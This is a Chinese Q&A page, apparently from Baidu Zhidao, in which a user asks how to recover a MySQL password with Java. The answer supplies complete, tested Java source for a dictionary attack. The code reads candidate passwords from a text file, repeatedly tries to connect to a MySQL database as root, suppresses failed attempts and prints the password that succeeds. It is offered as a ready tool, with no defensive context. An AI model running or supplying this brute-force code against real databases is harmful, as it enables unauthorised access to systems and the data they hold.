怎么用java代码查出mysql密码

来源:百度知道 编辑:UC知道 时间:2024/05/17 02:47:51
我的思路:自己定义一个数据库密码字典 用java语句不断连接数据库 密码从密码字典中遍历 直到数据库连接成功 则显示成功的密码
有高人知道详细的指点一下,带上源代码,越详细越好 。
如果满意可以在加分

package com.leo;
import java.io.*;
import java.sql.*;

public class Pass{
public static void main(String[] args){
BufferedReader br = null;
try{
br = new BufferedReader(new InputStreamReader(new FileInputStream("D:\\pass.txt")));
Class.forName("com.mysql.jdbc.Driver");
Connection con = null;
String url = "jdbc:mysql://127.0.0.1:3306/mydb";
String username = "root";

String password = "";
while((password = br.readLine())!=null){
try{
con = DriverManager.getConnection(url,username,password);
if(con != null){
System.out.println("OK:"+password);
break;
}
}catch(Exception e1){
}
}
}catch(Exception e){
e.printStackTrace();
}finally{
try{
br.close();
}catch(Exception e2){}
}
}
}

大概就是这样了!测试过的,可以!<